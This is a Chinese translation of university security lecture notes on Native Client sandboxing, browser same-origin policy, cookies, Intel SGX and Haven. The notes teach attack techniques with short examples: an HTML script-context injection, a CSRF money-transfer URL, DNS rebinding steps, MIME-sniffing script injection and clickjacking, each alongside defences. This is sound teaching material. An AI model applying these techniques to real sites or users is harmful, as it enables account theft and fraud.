答案: 取决于在 x86 指令流中的偏移位置,你可以得到意外有用的指令(在 BROP 论文中,我们从 BROP 小工具的 0x7 偏移处得到了一个"pop rsi; ret;")。

如果检查器错误地计算 x86 指令的长度,那么攻击者可以利用这一点。假设检查器将 bad_len(i) 计算为地址 a 处某个指令 i 的长度。了解 x86 的攻击者可以在地址 a + bad_len(i) 处编写汇编代码,通过所有检查并看似无害。这段汇编代码就是 NaCl 检查器会“看到”的内容,考虑到指令长度错误。然而,当代码执行时,指令 i 之后的下一条指令将位于地址 a + real_len(i)。而且,攻击者精心设计了他的代码,使得在地址 a + real_len(i) 及之后的指令执行了一些有用的操作。比如跳出沙箱,或者进行系统调用。

如何防止 NaCl 模块在其代码之外跳转到 32 字节的倍数?

  • 可以在计算跳转序列中使用额外的检查。

    AND $0x0fffffe0, %eax

    JMP *%eax

  • 为什么他们不使用这种方法?

    • 用于计算跳转的更长指令序列。

    • 他们的序列是 3+2=5 字节,上述序列是 5+2=7 字节。

    • 另一种解决方案非常简单:分段。

分段

  • x86 硬件提供“段”。

  • 每次内存访问都是相对于某个“段”。

    • 段指定基址 + 大小。
  • 段由段选择器指定:指向段表的指针。

    • %cs, %ds, %ss, %es, %fs, %gs

    • 每条指令都可以指定用于访问内存的段。

    • 代码始终使用 %cs 段获取。

  • 地址转换:(段选择器,地址)->(segbase + addr % segsize)。

  • 通常,所有段都具有 base=0, size=max,因此分段是一个无操作。

  • 可以更改段:在 Linux 中,使用 modify_ldt() 系统调用。

  • 可以更改段选择器:只需 MOV %ds 等。

将代码/数据限制为模块的大小:

  • 添加一个新的段,offset=0, size=256MB

  • 将所有段选择器设置为该段。

  • 修改验证器以拒绝任何更改段选择器的指令。

  • 确保所有代码和数据访问都在 [0..256MB) 范围内。

  • (实际上,NaCl 似乎将代码段限制为文本部分大小。)

在没有分段的系统上运行 Native Client 需要什么条件?

  • 例如,AMD/Intel 决定在它们的 64 位 CPU 中取消段限制。

    • 一个实际的可能性:在 32 位模式下运行。

    • AMD/Intel CPU 在 32 位模式下仍支持段限制。

    • 即使在 64 位操作系统上也可以在 32 位模式下运行。

  • 将不得不更改计算跳转代码以将目标限制为 256MB。

  • 将不得不对每个内存读/写添加运行时检测。

  • 有关更多详细信息,请参阅下面的附加参考文献中的论文。

为什么 Native Client 不支持模块的异常?

  • 如果模块触发硬件异常:空指针,除零等。

  • 操作系统内核需要将异常(作为信号)传递给进程。

  • 但 Native Client 使用不寻常的堆栈指针/段选择器 %ss 运行。

    • 因此,如果操作系统尝试传递异常,它将终止程序。
  • 一些操作系统内核在这种情况下拒绝传递信号。

  • NaCl 的解决方案是完全禁止硬件异常。

  • 语言级别的异常(例如,C++)不涉及硬件:没有问题。

如果 NaCl 模块发生缓冲区溢出会发生什么?

  • 任何计算调用(函数指针,返回地址)必须使用 2 指令跳转。

  • 因此,只能跳转到模块区域中经过验证的代码。

  • 缓冲区溢出可能允许攻击者接管模块。

  • 然而,无法逃脱 NaCl 的沙箱。

原始 NaCl 设计的局限性?

  • 静态代码:无 JIT,无共享库。

  • 近期版本支持动态代码(请参考结尾的附加参考资料)。

从沙箱调用受信任的代码

  • 短代码序列,过渡到/从位于[4KB..64KB)的沙箱中。

  • 跳板取消沙箱,进入受信任的代码。

    • 从 32 字节的倍数边界开始。

    • 将无限段加载到%cs, %ds段选择器中。

    • 跳转到位于 256MB 以上的受信任代码。

    • 稍微棘手:必须确保跳板适合 32 字节。

      • (否则,模块可能会跳转到跳板代码的中间..)
    • 受信任的代码首先切换到不同的堆栈:为什么?

      • NaCl 模块堆栈无法接收异常,并且由跳板调用的库代码可能会出现异常。

      • 此外,在论文中提到这个新堆栈,它是每个线程的,将驻留在不受信任的地址空间之外,以保护它免受其他 NaCl 模块线程的攻击

    • 随后,受信任的代码必须重新加载其他段选择器。

  • 弹簧板(重新)在返回或初始启动时重新进入沙箱。

    • 弹簧板槽(32 字节的倍数)以HLT(停止)指令开始。

      • 防止模块代码跳转到弹簧板。
    • 重新设置段选择器,在 NaCl 模块中跳转到特定地址。

服务运行时提供了什么?(NaCl 的“系统调用”等效)

  • 内存分配:sbrk/mmap。

  • 线程操作:创建等。

  • IPC:最初与启动此 NaCl 程序的页面上的 Javascript 代码。

  • 浏览器接口通过 NPAPI:DOM 访问,打开 URL,用户输入,..

  • 没有网络:可以使用 Javascript 根据 SOP 访问网络。

Native Client 有多安全?

  • 攻击面列表:开始于第 2.3 节的开头。

  • 内部沙箱:验证器必须正确(有一些棘手的错误!)。

  • 外部沙箱:依赖于操作系统的计划。

    • 在 Linux 上,可能是 seccomp。

    • 在 FreeBSD 上(如果 NaCl 支持),Capsicum 会很有意义。

  • 为什么外部沙箱?

    • 内部沙箱可能存在漏洞。
  • 如果对内部沙箱进行了妥协,对手会做什么?

    • 利用 CPU 漏洞。

    • 利用 OS 内核漏洞。

    • 利用其他进程中的漏洞与沙箱进程通信。

  • 服务运行时:初始加载程序,运行时跳板接口。

  • 模块间通信(IMC)接口 + NPAPI:复杂的代码,可能(并且确实)存在错误。

它的性能如何?

  • CPU 开销似乎主要受 NaCl 的代码对齐要求的影响。

    • 更大的指令缓存占用。

    • 但对于某些应用程序,NaCl 的对齐方式比 gcc 更好。

  • 对于计算跳转的附加检查,开销最小。

  • 调用服务运行时的性能似乎与 Linux 系统调用相当。

将代码移植到 NaCl 有多难?

  • 对于计算性的事物,似乎很简单:H.264 只需改动 20 行代码。

  • 对于与系统交互的代码(系统调用等),需要进行更改。

    • 例如,Bullet 物理模拟器(第 4.4 节)。

其他参考资料

Web 安全

长期以来,Web 安全意味着查看服务器的操作,因为客户端非常简单。在服务器上,CGI 脚本被执行,并且它们与数据库等进行交互。

如今,浏览器非常复杂:

  • JavaScript:页面执行客户端代码

  • 文档对象模型(DOM)

  • XMLHttpRequests:JavaScript 客户端代码从 Web 服务器异步获取内容的一种方式

    • 又名 AJAX
  • Web 套接字

  • 多媒体支持(<video>标签)

  • 地理位置(网页可以确定您的物理位置)

  • 本地客户端,适用于 Google Chrome

对于 Web 安全来说,这意味着我们很糟糕:巨大的攻击面(见图 1)

likelihood
of correct
ness
^
|--\
|   --\                --- we are here
|      --\            /
|         \          /
|          \      <--
|           -----*----
|----------------------->
  # of features 

组合问题:许多层

Web 存在的一个问题是parsing contexts问题

<script>var = "UNTRUSTED CONTENT FROM USER";</script> 

如果不受信任的内容中有引号,也许攻击者可以修改代码为:

<script>var = "UNTRUSTED CONTENT"</script> 
<script> /* bad stuff from attacker here */ </script> 

Web 规范很长、繁琐、乏味、不一致,大小如欧盟宪法(CSS、HTML)=>它们是模糊的抱负性文件,从未被实施。

本讲座我们将专注于客户端 Web 安全。

桌面应用程序来自单一主体(微软、谷歌等),Web 应用程序来自多个主体。

http://foo.com/index.html(见图 2)

  • 分析代码能够访问 Facebook 框架内容吗?

  • 分析代码能够与文本输入交互吗?它能声明事件处理程序吗?

  • Facebook 框架(https)和 foo.com 框架(http)之间的关系是什么?

为了回答这些问题,浏览器使用了一个称为同源策略的安全模型

目标:两个网站不应该能够互相篡改,除非它们想要这样做。

定义tampering的含义自从 Web 开始以来变得更加复杂。

策略:每个资源都被分配一个起源。JS 代码(一个资源本身)只能访问来自自己起源的资源。

什么是起源?起源是网络协议方案+主机名+端口。例如:

  • https://facebook.com:8181

  • http://foo.com/index.html,隐式端口 80

  • https://foo.com/index.html,隐式端口 443

粗略地说,你可以将一个起源视为 UNIX 中的 UID,而一个框架就是一个进程

在实现起源的四个想法中:

  1. 每个起源都有客户端资源

    • Cookies,用于在不同的 HTTP 请求之间实现状态

    • DOM 存储,一个相当新的接口,一个键值存储

    • 一个 JavaScript 命名空间,定义了对起源可用的函数和接口(如 String 类)

    • DOM 树:页面中 HTML 的 JavaScript 反射

       [  HTML ]     
            /       \     
      [ HEAD ]     [ BODY ] 
      
    • 一个可视化显示区域

  2. 每个框架都获得其 URL 的起源

  3. 脚本以其框架起源的权限执行

  4. 被动内容(图像、CSS 文件)从浏览器中获得权限

    • 内容嗅探攻击

回到我们的例子:

  • Google 分析和 jQuery 可以在 foo.com 框架上执行各种操作

  • Facebook 框架的内联 JS 无法对 foo.com 框架执行任何操作

    • 但它可以使用postMessage() API 与 foo.com 框架通信
  • FB frame 中的 JS 代码无法向 foo.com web 服务器发出 AJAX 请求

MIME 类型:text/html。过去的所有 IE 版本都会查看对象的前 256 个字节并忽略Content-Type头。结果,IE 会误解文件的类型(由于错误)。攻击者可以将 JS 代码放入.jpg 文件中。IE 将其强制转换为 text/html,然后在页面中执行 JS 代码。

Frames 和 window 对象

Frames 代表这种独立的 JS 宇宙

一个 frame,关于 JS 是一个 DOM 节点的实例。Frames 和 JS 中的 window 对象相互指向。window 对象充当一个命名空间,通过它可以访问任何变量x

Frames 获取 frame 的 URL 的 origin OR 原始域名的后缀。

x.y.z.com可以说“我想将我的源设置为”y.z.com通过将document.domain分配给y.z.com。这只适用于x.y.z.com的后缀(或应该)。因此,它不能执行document.domain = a.y.z.com。也不能设置document.domain = .com,因为该站点将能够影响任何.com 网站中的 cookies。

浏览器区分已分配值给 document.domain 的 frame 和未分配值给 document.domain 的 frame。

两个 frame 可以相互访问如果:

  1. 两个 frame 都将document.domain设置为相同的值

  2. 两个 frame 都没有改变document.domain,并且两个值匹配

你有x.y.z.com(有 bug 或者恶意)试图攻击y.z.com,通过缩短其域名。浏览器不会允许这种情况发生,因为 y.z.com 并未改变其 document.domain,而 x.y.z.com 已经改变了。

DOM 节点

Cookies

Cookies 有一个domain和一个path

*.mit.edu/6.858 

如果路径是/,那么域中的所有路径都可以访问 cookie。

在客户端有document.cookie

Cookies 有一个secure flag,意味着 HTTP 内容不应该能够访问该 cookie。

当浏览器生成请求时,它将包括该请求中的所有匹配 cookie(环境权限)。

不同 frame 如何访问其他 frame 的 cookies?如果其他 frame 可以为其他 frame 写入 cookies,那么攻击者可以将受害者登录到攻击者的 gmail 帐户,并可能读取用户发送的电子邮件。

应该允许foo.co.ukco.uk设置 cookie 吗?https://publicsuffix.org 包含所有顶级域的列表,因此浏览器不允许为co.uk等域设置 cookie。

XMLHttpRequest

默认情况下,JS 只能生成一个 AJAX 请求,如果它要去自己的源。

有一种新的范式称为跨源请求 S.(CORS),其中服务器可以使用 ACL 允许其他域访问它。服务器返回一个头Access-Control-Allow-Origin: foo.com来指示 foo.com 是被允许的。

图片,CSS

一个 frame 可以从任何它想要的源加载图片,但它实际上不能检查位。但它可以通过 DOM 中其他节点的位置推断出图片的大小。

CSS 也是如此。

JavaScript

如果您对 JS 进行跨源提取,是允许的,但框架不能查看源代码。但是 JS 架构有点让你可以,因为您可以调用任何公共函数ftoString方法。框架还可以要求 Web 服务器为其提取 JS 并发送。

JS 代码经常被混淆。

插件

Java,Flash。

框架可以从任何来源运行插件。HTML5 可能会使它们过时。

跨站请求伪造(CSRF)

攻击者可以设置一个页面,并在其中嵌入以下来源的框架:

http://bank.com/xfer?amount=500&to=attacker 

框架被设置为大小为零(不可见),然后攻击者让用户访问该页面。因此,他可以从用户那里窃取钱。

这是因为 URL 可以被猜测,而不是随机的。

解决方案:在 URL 中添加一些随机性。

服务器可以生成一个随机令牌并将其嵌入发送给用户的“转账”页面。

<form action="/transfer.cgi" ...>
    <input type="hiddne" name="csrf" value="a72fedb2129985bdc"> 

现在攻击者必须猜测令牌。

网络地址

框架可以向与其来源匹配的主机发送 HTTP 和 HTTPS 请求。同源策略的安全性与 DNS 安全性相关联。因为来源名称是 DNS 名称,DNS 重新绑定攻击可能会对您产生影响。

目标:以受害者网站victim.com的权限运行受攻击者控制的 JS。

方法:

  1. 注册一个域名attacker.com

  2. 攻击者设置 DNS 服务器以响应对*.attacker.com的请求。

  3. 攻击者让用户访问*.attacker.com

  4. 浏览器向attacker.com生成 DNS 请求。

  5. 攻击者响应具有较短的生存时间(TTL)

  6. 与此同时,攻击者配置 DNS 服务器将attacker.com名称绑定到victim.com的 IP 地址

  7. 现在,如果用户请求对 attacker.com 的 DNS 解析,他将获得 victim.com 的地址

  8. 加载的 attacker.com 网站希望通过 AJAX 获取一个新对象。此请求现在将发送到 victim.com

    • 不好的原因是 attacker.com 网站刚刚在其来源之外发出了一个 AJAX 请求。

如何解决这个问题?

  • 修改您的 DNS 解析器以检查外部域名是否解析为内部地址。

  • 强制 TTL 为 30 分钟

像素

每个框架都有自己的边界框,并可以在其中任意绘制。具体来说,父框架可以覆盖子框架(见图 3)。

解决方案:

  1. 使用破坏框架的代码(JS 来判断是否被别人放入框架中)

`if (self != top)

alert("我是一个子框架,所以不会加载")

  1. Web 服务器可以发送一个名为X-Frame-Options的 HTTP 响应头,告诉浏览器不允许任何人将其内容放入框架中。

命名问题

ASCII 中的c与 Cyrillic 中的c允许攻击者注册一个模仿真实cats.comcats.com域。

插件

与浏览器的其余部分存在微妙的不兼容性。

Java 假设具有相同 IP 地址的不同主机名具有相同的来源(与 SOP 策略不符)。

如果它们共享相同的 IP 地址,x.y.com 将与 z.y.com 具有相同的来源。

HTML5 屏幕共享

如果您有一个包含多个框架的页面,一个框架可以截取整个浏览器的屏幕截图。

SGX 和 Haven

为什么我们要阅读这篇论文?待办事项:哪篇论文?SGX 还是 Haven?

  • 先进的硬件隔离机制

    • 我们对隔离机制的巡回的最后一篇论文
  • 在实践中相关的强大威胁模型

    • 许多桌面电脑运行恶意软件

    • 恶意软件可能控制整个操作系统

  • 使用尖端技术(英特尔 SGX)

    • 但是,对于 SGX 尚无部署经验

    • 可能存在设计和实现缺陷

    • 第一批硬件已经推出(参见下面的参考资料)

SGX 目标

  • 即使操作系统被入侵,应用程序仍然可以保持秘密

    • 也许不是整个操作系统被入侵

    • 但也许攻击者正在运行键盘记录器

  • 目标应用程序:

    • 登录到您的银行

      • 安全:操作系统/键盘记录器无法窃取您的密码+PIN 以登录
    • 用于受版权保护内容的视频/音乐播放器(DRM)

      • 安全:操作系统无法窃取解密内容的密钥

雄心勃勃的目标:

  • 应用程序依赖于操作系统

    • 如何防御恶意操作系统?
  • 操作系统接口很广

    • 如何检查应用程序是否操作系统行为适当?
  • “Iago”攻击的机会很多

    • 查看论文"Iago Attacks: Why the System Call API is a Bad Untrusted RPC Interface" 这里或我们的首页。

Iago 攻击:不受信任的操作系统可以用来攻击应用程序的攻击

  • 操作系统修改getpid()time()以返回不同的数字,相同的数字

    • getpid()time()经常用于生成伪随机数
  • 操作系统可能混淆运行 SSL 的服务器

    • 操作系统可以记录成功连接的数据包

    • 操作系统可能导致 SSL 的下一个实例使用相同的服务器随机数

      • 通过为time()getpid()返回与早期连接相同的值
    • 操作系统可以重放数据包

      • SSL 服务器认为这是一个新连接,但实际上不是

      • 可能发起中间人攻击

  • 操作系统修改mmap()以映射一个由操作系统控制的物理页面到应用程序堆栈上

    • malloc()调用mmap()

    • 操作系统可以运行任意代码

    • 操作系统可以读取应用程序的秘密(例如 SSL 连接的私钥)

  • 教训:简单的系统调用(例如,getpid 和 time)可能会引起问题

    • 应用程序必须以防御性方式编写

    • 防止遗留应用程序受恶意操作系统攻击似乎很困难

针对恶意操作系统的防御研究很多

  • 一些使用 TPM 或延迟启动

  • 一些使用受信任的虚拟化程序

  • 一些使用特殊处理器

  • 影响不大---主要是一项具有挑战性的智力活动

  • 现在英特尔的 Skylake 包括SGX(参见下面的参考资料)

    • 它提供硬件机制来帮助防御 Iago 攻击

SGX 威胁模型

  • 攻击者控制操作系统

  • 攻击者可以观察处理器和内存之间的流量

    • 除了处理器之外的每个组件都是不受信任的
  • 英特尔是可信任的

    • 芯片正常工作

    • 私钥没有泄露

  • 侧信道无法被利用

SGX:软件保护扩展

  • 飞地:进程内的受信任执行环境

    • 处理器确保飞地内存对操作系统、BIOS 等不可访问
  • 证明

    • 处理器使用内置于芯片中的私钥对飞地内容进行签名

    • 验证器使用英特尔的公钥来检查签名

  • 密封

    • 在终止时对飞地进行密封和稍后解封的方案

    • 待办事项: 他们是否指的是类似于“分页”或停止,保存到磁盘,然后恢复并继续运行的操作?

飞地

  • Haven 论文中的图 1

  • ECREATE创建一个空飞地

    • 起始虚拟地址和大小
  • EPC: 飞地页面缓存

    • 物理内存中的区域

    • 处理器的内存加密接口

      • 写入/读取到/从 EPC 时进行加密/解密

      • 也受完整性保护

    • EADD用于向飞地添加 EPC 页面

  • 处理器维护一个映射(EPCM),对于每个 EPC 页面记录:

    • 页面类型(REG,...),飞地 ID,页面的虚拟地址和权限

    • EPCM 仅对处理器可访问

    • 在每次飞地页面访问时,都要查阅地图

      • 页面是否处于飞地模式?

      • 页面是否属于飞地?

      • 页面是否为访问的虚拟地址?

      • 访问是否符合页面权限?

  • 将 EPC 页面分页到外部存储

    • 操作系统执行EWD将页面驱逐到缓冲区

      • 加密,版本号等。
    • 操作系统可以将缓冲区写入外部存储

    • 操作系统执行ELDB将加密页面加载到 EPC 中

      • 使用版本号检测回滚攻击

起始飞地(EXTENDEINIT):

  • 处理器保留了飞地构建方式的加密日志 _ EXTEND将 256 字节区域添加到日志

  • 日志包含内容(代码,数据,堆栈,堆),每个页面的位置,安全标志

  • EINITSIGSTRUCT作为参数

    • 由密封机构(飞地编写者)签名

    • 包括:飞地的预期签名哈希和飞地所有者的公钥

    • EINIT验证签名和哈希

    • 飞地身份存储在SECS

证明: 远程方可以验证飞地是否运行正确的代码

  • 飞地使用EGETKEY获取其密钥

    • 用于加密和密封的密钥
  • EREPORT生成一个签名报告

    • 报告包含日志的哈希和飞地的公钥

      • 公共数据是否在报告中由飞地提供?
    • 此报告可以传达给另一个飞地

    • 接收飞地可以使用飞地中的公钥验证报告

  • 特殊的报价飞地可以使用处理器的私钥创建一个签名的“报价”

    • 使用组签名密钥,以便无法识别个体处理器

进入/退出飞地:

  • 使用 ENTER 和线程控制结构(TCS)进入

  • 退出:EEXIT,中断或异常

  • 使用 ERESUME 恢复飞地

受保护的银行客户端(假设和简化)

  • 目标: 防止操作系统窃取用户的密码

  • 假设从键盘到飞地有一个安全路径(Intel ME?)

  • 客户端下载银行应用程序并运行

  • 银行应用程序创建带有代码+数据的飞地

    • 代码包括从键盘读取,SSL 等。

    • 生成一个报价

    • 连接到服务器,建立安全通道(例如 SSL),并发送报价

  • 服务器验证报价

    • 服务器知道客户端启动的软件是否正确

    • 即不是某个可能将用户密码通过电子邮件发送给对手的恶意客户端

  • 服务器发送挑战

    • 客户端使用密码通过 SSL 响应挑战

    • 飞地内的密码,加密

    • 操作系统无法窃取

  • 服务器检查挑战

SGX 安全讨论

  • 评估安全性困难

    • 带有 SGX 的处理器刚刚可用

    • 没有部署经验

  • TCB

    • 处理器

    • 处理器的制造

    • 英特尔的私钥

  • 伊阿戈攻击

    • 操作系统能在 enclave 内部读写数据吗?

      • 处理器的 EPC 阻止了这一点
    • 操作系统能重新映射内存吗?

      • 处理器的 EPCM 防止此攻击
    • 操作系统能混淆应用程序吗?

      • 客户端必须小心编写,依赖于少量操作系统功能

      • 客户端需要可靠的随机源来实现 SSL

        • RDRAND
      • 客户端必须能够发送和接收数据包

        • 检查结果
  • 侧信道攻击

    • 威胁模型排除了,但在实践中可能存在

    • 超线程

    • 共享 L3 缓存

    • 多插槽

Haven

  • 使用 SGX 在云中安全地执行未修改的 Windows 应用程序

  • 安全地意味着不信任云提供商

  • Haven 是一个研究项目

威胁模型

  • 系统管理员控制云软件

  • 远程攻击者可能控制云软件

  • 操作系统可能发起“伊阿戈”攻击

    • 可能向 Haven 传递任意值

    • 可能中断 Haven 的执行

  • 硬件实现正确

    • SGX 是正确的

计划:受保护的执行

  • 在云中运行应用程序,其安全性相当于在自己的硬件上运行应用程序

    • 不信任云软件
  • 提供一个应用程序环境,使其能够与不受信任的软件交互

    • 应用程序需要发送数据包

    • 应用程序需要存储文件

    • ...

    • 应用程序需要操作系统

  • 挑战

    • 如何在主机操作系统之上实现操作系统,同时仍然能够抵抗伊阿戈攻击

Haven 建立在两个组件之上

  • 英特尔 SGX

  • Drawbridge

    • 在 libOS 实现 Win32 的顶部提供一个小接口

    • 小接口保护主机操作系统免受应用程序影响(类似于本机客户端)

    • Haven 保护应用程序免受主机操作系统的影响

Haven 设计(图 2)

  • 实现 Drawbridge 的 API,以防范伊阿戈攻击

  • Shield 模块在 enclave 内部实现 API

    • 使用窄、不受信任的 API 与主机操作系统交互

    • 不受信任的 API 是 drawbridge API 的子集(见图 3)

  • 在 Shield 和主机内核之间的不受信任的运行时隧道

    • 启动时也需要
  • 主机内核包含 SGX 驱动程序和 drawbridge 主机

    • drawbridge 主机使用 OS 调用实现窄 API

Shield 服务

  • 虚拟内存

    • enclave 从 0 开始(处理应用程序、libos 的空指针引用)

    • 跟踪应用程序/libos 使用的内存页面

    • 从 enclave 中添加/删除内存页面

      • 验证更改是否正确
    • 从不允许主机选择虚拟内存地址

    • 不允许应用程序和 libos 在 enclave 外部分配页面

  • 存储

    • 最终实验室
  • 线程

    • 用户级调度(例如,以便互斥量起作用)

    • 在启动时将线程复用到固定数量的线程上

      • 在开始时分配固定数量的 TCS
  • 杂项

    • 用于可信随机源的 RDRAND

    • 没有 fork

    • 没有地址空间随机化

讨论

  • Haven 能运行未修改的应用程序吗?

    • 没有 fork--Windows 上的小问题?

    • 不能将 enclave 页面映射到多个虚拟地址

      • 需要修改应用程序
  • 安全性?

    • 对不受信任接口进行模糊测试?

参考资料

  1. Iago 攻击

  2. SGX 概述

  3. SGX 指令概述

  4. SGX 硬件

  5. SGX 安全讨论

  6. 抽象桥

网络安全

注意: 这些讲座笔记是从 2014 年课程网站上稍作修改的。

什么是网络?

在旧时代,它是一个简单的客户端/服务器架构(客户端是您的 Web 浏览器,服务器是网络上的一台机器,可以向您的浏览器提供静态文本和图像)。

  • 在旧时代,服务器端比客户端复杂得多:浏览器不支持丰富的交互性,但服务器可能与数据库,其他服务器等进行接口。

  • 因为服务器非常复杂,“网络安全”侧重于服务器端。到目前为止,这门课程主要也侧重于服务器端(例如,Web 服务器上的缓冲区溢出,OKWS 服务器中的权限分离)。

现在网络已经改变:现在浏览器非常复杂

  • JavaScript:允许页面执行客户端代码。

  • DOM 模型:提供页面的 HTML 的 JavaScript 接口,允许页面添加/删除标签,更改它们的样式等。

  • XMLHttpRequests(AJAX):异步 HTTP 请求。

  • Web 套接字:全双工客户端-服务器通信通过 TCP。

  • Web 工作者:多线程支持。

  • 多媒体支持<video>,网络摄像头,屏幕共享。

  • 地理位置信息:浏览器可以通过检查 GPS 单元来确定您的位置。Firefox 还可以通过将您的 WiFi 信息传递给 Google 位置服务来定位您。

  • <canvas>和 WebGL:位图处理和交互式 2D/3D 图形。

  • 原生客户端(NaCl):允许浏览器运行本机代码!

现在网络是一个用于分布式计算的复杂平台!但这对安全性意味着什么?

  • 威胁面非常广!

    • 它超过 9000 了!
  • 单个 Web 应用程序现在跨越多种编程语言,操作系统,硬件平台。我可能在 Windows 上运行 Firefox,与运行 Apache 并与 memcached 和 MySQL 进行交互的 Linux 服务器进行交互)。

  • 所有这些组合使得验证端到端的正确性变得困难,甚至理解系统在做什么也变得困难。例如:解析上下文和内容消毒。

    <script> var x = 'UNTRUSTED'; </script>
    //Single quote breaks out of JS string
    //context into JS context
    //
    //"</script>" breaks out of JS context
    //into HTML context 
    
  • 网络规范非常长,非常复杂,偶尔矛盾,并且不断发展。

    • 因此,浏览器供应商会做一些与规范大致相似的事情,然后和朋友们一起开玩笑。

    • 如果你想了解恐怖,可以去QuirksMode

客户端 Web 应用程序

在本讲座中,我们将专注于 Web 应用程序的客户端。特别是,我们将专注于如何隔离来自不同提供者的内容,这些内容必须存在于同一个浏览器中。

  • Web 应用程序和传统桌面应用程序之间有很大的区别:桌面应用程序中的位通常来自单个供应商(例如,Microsoft 或 Apple 或 TurboTax),但单个 Web 应用程序包含来自许多不同主体的内容!

     http://foo.com/index.html
    
    +--------------------------------------------+
    |  +--------------------------------------+  |
    |  |        ad.gif from ads.com           |  |
    |  +--------------------------------------+  |
    |  +-----------------+ +------------------+  |
    |  | Analytics .js   | | jQuery.js from   |  |
    |  | from google.com | | from cdn.foo.com |  |
    |  +-----------------+ +------------------+  |
    |                                            |
    |        HTML (text inputs, buttons)         |
    |                                            |
    |  +--------------------------------------+  |
    |  | Inline .js from foo.com (defines     |  |
    |  | event handlers for HTML GUI inputs)  |  |
    |  +--------------------------------------+  |
    |+------------------------------------------+|
    || frame: https://facebook.com/likeThis.html||
    ||                                          ||
    || +----------------------+ +--------------+||
    || | Inline .js from      | | f.jpg from https://
    || | https://facebook.com | | facebook.com |||
    || +----------------------+ +--------------+||
    ||                                          ||
    |+------------------------------------------+|
    |                                            | 
    
  • 问题: 哪些 JavaScript 代码可以访问哪些状态?例如...

    • 来自 google.com 的分析代码能否访问来自 cdn.foo.com 的 jQuery 代码中的状态?[似乎可能不好,因为不同的负责人编写了代码,但它们包含在同一个框架中...]

      • 是的,它们可以!它们将获得相同的起源。
    • 来自 cdn.foo.com 的 jQuery 代码能否访问由 foo.com 定义的内联 JavaScript 代码中的状态?[它们几乎来自同一个地方...]

      • 是的,它们可以。它们具有相同的起源。
    • 分析代码或 jQuery 能够访问 HTML 文本输入吗?[我们必须以某种方式使内容交互。]

      • 是的,包含在框架中的 JS 代码可以与框架的 DOM 交互。
    • Facebook 框架中的 JavaScript 能否触及 foo.com 框架中的任何状态?Facebook 框架是 https://,但 foo.com 框架是常规的 http://,这有关系吗?

      • 只能使用 postMessage 与其通信

      • 不能向 foo.com 发出 AJAX 请求

      • 不能对框架执行任何操作

要回答这些问题,浏览器使用一种称为同源策略的安全模型。

同源策略

  • 模糊的目标: 两个不同的网站不应该能够篡改彼此的内容。

  • 易于陈述,但难以实现。

    • 显然不好:如果我打开两个不同的网站,第一个网站不应该能够覆盖第二个网站的视觉显示。

    • 显然好:开发人员应该能够创建结合来自相互合作的网站的内容的混搭网站。

      • 例如:一个将 Google 地图数据与房地产数据结合的网站。

      • 例如:广告。

      • 例如:社交媒体小部件(例如 Facebook 的“赞”按钮)。

    • 难以说:如果来自 Web 服务器 X 的页面从不同服务器 Y 下载 JavaScript 库,那么该脚本应该具有什么功能?

  • 同源策略的基本策略: 浏览器为页面中的每个资源分配一个起源,包括 JavaScript 库。JavaScript 代码只能访问属于其起源的资源。

  • 一个起源的定义: scheme + hostname + port

  • 四个主要思想

    1. 每个起源都与客户端资源相关联(例如 cookies、DOM 存储、JavaScript 命名空间、DOM 树、窗口、视觉显示区域、网络地址)。

      • 一个起源在 Unix 世界中是 UID 的道德等价物。
    2. 每个框架都获得其 URL 的起源。

      • 一个框架在 Unix 中是一个进程的道德等价物。
    3. 由框架包含的脚本以该 HTML 文件起源的权限执行。这对内联脚本和从外部域拉取的脚本都是正确的!

      • Unix 类比:运行存储在别人家目录中的二进制文件。
    4. 被动内容(例如图片和 CSS)不能执行代码,因此此内容被赋予零权限。

  • 回到我们的例子:

    • Google 分析脚本和 jQuery 脚本可以访问属于 foo.com 的所有资源(例如,它们可以读取和写入 cookie,附加事件处理程序到按钮,操作 DOM 树,访问 JavaScript 变量等)。

    • Facebook 框架中的 JavaScript 代码无法访问 foo.com 框架中的资源,因为这两个框架具有不同的来源。这两个框架只能通过 postMessage()进行通信,这是一个允许域交换不可变字符串的 JavaScript API。

      • 如果两个框架在相同的来源中,它们可以使用 window.parent 和 window.frames[]直接与彼此的 JavaScript 状态交互!
    • Facebook 框架中的 JavaScript 代码不能向 foo.com 的服务器发出 XMLHttpRequest [网络是一个具有来源的资源!] ...

    • ... 然而,Facebook 框架可以从 foo.com 导入脚本、CSS 或图像(尽管该内容只能更新 Facebook 框架,因为内容继承了 Facebook 来源的权限,而不是 foo.com 来源)。

    • 浏览器检查 ad.gif 的类型,确定 ad.gif 是一个图像,并得出结论该图像根本不应具有任何权限。

如果浏览器错误地识别对象的 MIME 类型会发生什么?

  • 旧版本的 IE 曾经进行 MIME 嗅探。

    • 目标:检测当 web 服务器给对象分配了错误的文件扩展名时(例如,foo.jpg 实际上应该是 foo.html)。

    • 机制:IE 查看文件的前 256 个字节,并查找指示文件类型的魔术值。如果魔术值与文件扩展名不一致,IE 会信任文件扩展名。

    • 问题:假设一个页面包含来自受攻击者控制的域的一些被动内容(例如,一个图像)。受害页面认为安全导入被动内容,但攻击者可以故意在图像中放入 HTML+JavaScript 并在受害页面中执行代码!

  • 结论:浏览器是复杂的---添加一个出于善意的功能可能会导致微妙且意想不到的安全漏洞。

让我们更深入地了解浏览器如何保护各种资源。

框架/窗口对象

  • 注意:框架对象是 HTMLIFrameElement 类型的 DOM 节点,而 window 对象是全局 JavaScript 命名空间的别名。

    • 两个对象相互引用。
  • 获取它们框架 URL 的来源

    -或-

    获取调整后的document.domain的来源

    • 一个框架的document.domain最初是从 URL 中正常派生的。

    • 一个框架可以将document.domain设置为完整域的后缀。例如:

      • x.y.z.com // 原始值

      • y.z.com // 允许的新值

      • z.com // 允许的新值

      • a.y.z.com // 不允许

      • .com // 不允许

    • 浏览器区分已写入的document.domain和未写入的document.domain,即使两者的值相同!

    • 两个框架可以相互访问,如果:

      1. 他们都将document.domain设置为相同的值,或者

      2. 两者都没有更改document.domain(并且这些值在两个框架中是相等的)

    • 这些规则有助于保护网站免受由有缺陷/恶意子域名攻击的风险,例如,x.y.z.com试图通过缩短其document.domain来攻击y.z.com

DOM 节点

  • 获取其周围框架的来源

Cookies

  • 一个 cookie有一个域和一个路径。例如:*.mit.edu/6.858/

    • 域名只能是页面当前域名的(可能是完整的)后缀。

    • 路径可以是“/”,表示该域中的所有路径都可以访问该 cookie。

  • 设置 cookie 的人可以指定域和路径。

    • 可以通过服务器使用标头设置,也可以通过写入document.cookie的 JavaScript 代码设置。

    • "secure"标志也可以表示仅限 HTTPS 的 cookie。

